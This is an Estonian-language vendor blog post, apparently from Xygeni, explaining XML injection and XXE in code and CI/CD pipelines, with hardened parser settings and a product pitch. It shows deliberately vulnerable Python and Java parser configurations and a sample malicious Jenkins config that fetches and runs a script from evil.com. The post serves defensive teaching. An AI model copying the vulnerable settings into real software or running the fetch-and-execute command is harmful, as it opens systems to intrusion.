XML-i süstimine – kuidas vältida XML-i süstimist

XML-süstimine: kuidas ründajad teie parsereid rikkuvad

Kuidas XML-süstimine muudab parserid rünnakupindadeks

Arendajad ei taipa sageli, kui kergesti XML-süstimine nende süsteeme rikkuda saab. Kui mõtlete, kuidas XML-süstimist vältida, on esimene samm teada, kus see ilmneb. Vaikimisi on paljud tänapäevaste programmeerimiskeelte XML-parsijad haavatavad. Kui edastate neile parsijatele kasutaja juhitavat sisendit, eriti ilma korraliku kaitseta, muudate lihtsa XML-protsessori rünnakuvektoriks.

See teebki XML-i süstimise nii ohtlikuks: see ei tugine teie koodi vigadele. See kasutab ära teie parseri konfigureerimist või valesti konfigureerimist. Selle mõistmine tähendab selliste funktsioonide nagu üksuste eraldamine, välised DTD-d ja XPath-parsimine riskideks muutumise õppimist.

Sa ei pea XML-i otseselt parsima. Süstimine kuvatakse konfiguratsioonifailides. pipeline definitsioonid, testiartefaktid ja kolmandate osapoolte tööriistad. Kui teie CI/CD Kui rakendus või äppide pinu sisaldab XML-i, peate teadma, kuidas seda ennetada, kui see tarneahela probleemiks muutub.

XML-i süstimise tegelikud rünnakuvektorid koodis ja Pipelines

Reaalse maailma XML-i haavatavused, mida arendajad ei märka

XML-süstimine jääb sageli avastamata, kuna peidab end usaldusväärsetes koodiradades:

  • Üksuse laiendamine (miljard naeru)Kasutab süsteemide krahhimiseks ära parseri rekursiooni.
  • Välised üksused (XXE): Loeb faile või pääseb juurde sisemistele teenustele.
  • XPath süstimineManipuleerib XML-põhiste päringute loogikat.

Pythoni näide (XXE Risk)

⚠️Hoiatus: See kood võimaldab väliste üksuste lahendamist, muutes selle haavatavaks XXE rünnakute suhtes.

from lxml import etree parser = etree.XMLParser(resolve_entities=True) xml = etree.fromstring(user_input, parser) 

Java näide (üksuse laiendamine)

⚠️Hoiatus: See parser kasutab ohtlikke vaikeväärtusi, mida saab ära kasutada.

SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(inputStream, handler); 

CI/CD Näide:

⚠️Hoiatus: Ebaturvalise XML-i süstimine pipeline konfiguratsioonid võivad viia ärakasutamiseni.

<!-- Malicious Jenkins config.xml snippet --> <project> <builders> <hudson.tasks.Shell> <command>wget http://evil.com/payload.sh | sh</command> </hudson.tasks.Shell> </builders> </project> 

Kui neid sisendeid ei puhastata, olete just avanud ukse XML-i süstimiseks oma automatiseerimisvirna sees.

Miks vaikimisi XML-teegid teie CI/CD ohus

Enamik arendajaid ei tea, kuidas XML-i süstimist vältida, sest nad ei tea, et nende tööriistad üldse XML-i kasutavad. Populaarsed tööriistad nagu Maven, Jenkins ja mitmesugused juurutusraamistikud toetuvad endiselt suuresti XML-ile.

CI/CD Süstimispunktid:

  • Maveni pom.xml
  • Jenkinsi töökonfiguratsioonid (config.xml)
  • XML-põhised Kubernetes'i kohandatud ressursid
  • Pythoni või Java testikäitlejad, mis tuginevad XML-aruannetele

Asja teeb hullemaks see, et paljud avatud lähtekoodiga teegid kasutavad ohtlike vaikesätetega XML-parsereid, mis muudab XML-süstimisrünnakud reaalseks ohuks.

⚠️ Hoiatus: mõned pipelineparsib automaatselt XML-i ebausaldusväärsetest sisenditest (nt artefaktide üleslaadimised).

Pärast parsimist võivad ohtlike konstruktsioonidega XML-id:

  • Juurdepääs sisemistele failidele
  • Kaugkõnede käivitamine
  • Töökäitumise muutmine

Sa pole mitte ainult ohustatud, vaid levitad rünnakupinda kõikjale. pipeline joosta.

⚠️Hoiatus: Nii allolevad serialiseerimise kui ka deserialiseerimise etapid käsitlevad potentsiaalselt ebausaldusväärseid andmeid ilma valideerimiseta.

Kuidas vältida süstimist turvalise parseri konfiguratsioonide abil

Ohutud tavad: kuidas süstimist vältida

Süstimise peatamiseks peate oma XML-parserit enne sisendi töötlemist kõvendama.

Java

// Secure XML parser config SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); 

Python

# Safe alternative to vulnerable XML parsers from defusedxml.ElementTree import fromstring xml = fromstring(user_input) # Safe from XXE and entity expansion 

CI/CD Pipeline

- name: Scan XML inputs for DTDs run: | grep -r '<!DOCTYPE' . || echo "No unsafe XML detected" 

Parim harjutus: Skannige ja lükake alati tagasi XML-i, mis kasutab DOCTYPE- või ENTITY-deklaratsioone, välja arvatud juhul, kui see on otseselt vajalik. Need võtted on olulised, kui soovite süstimise lõpetada ja kindlusta oma DevOpsi elutsükkel.

Valekonfiguratsioonist tarneahela riskini: Xygeni roll

XML-i süstimist ei saa peatada, kui ei tea, kus teie XML-i töödeldakse. See on koht, kus... Xygeni teeb vahet.

Xygeni aitab meeskondi:

  • XML-i kasutamise kaardistamine koodibaaside, versioonide ja käituskeskkondade vahel
  • Tuvasta ohtlikud parseri konfiguratsioonid ja riskantne XML-failide käitlemine
  • Tuvastage kolmandate osapoolte paketid, mis tutvustavad XML-i vaikset parsimist
  • Manustage ohutud XML-valideerimispoliitikad otse sisse CI/CD pipelines

See ei puuduta ainult parseri parandamist. See seisneb selles, et te ei peaks enam kunagi küsima, kuidas te süstimise XML-vektori kahe silma vahele jätsite.

Parserite lukustamine: kuidas vältida XML-i süstimist kõikjal

XML-süstimine on tõsine oht isegi siis, kui te XML-iga otseselt ei tööta. See siseneb sageli vaikesätete, kolmandate osapoolte pakettide ja teie süsteemi tähelepanuta jäetud osade kaudu. pipeline.

Selle vastu kaitsmiseks:

  • Tea, kuidas ja kus XML-i teie pinus parsitakse
  • Rakenda tugevdatud konfiguratsioone ja valideeritud skeeme
  • Jälgida pipelineohtlike XML-struktuuride jaoks
  • Kasutage Xygeni't süstimise käigus tekkiva kokkupuute tuvastamiseks, jälgimiseks ja fikseerimiseks enne vabastamist.

Kui sa tõsiselt mõtled DevSecOpsi kohta, pead süstimisse tõsiselt suhtuma. Ja sa pead teadma, kuidas vältida XML-i süstimist oma pinu igas kihis. Turvake oma XML-i. Turvake oma pipelines. XML-i süstimise riski kõrvaldamine.

sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga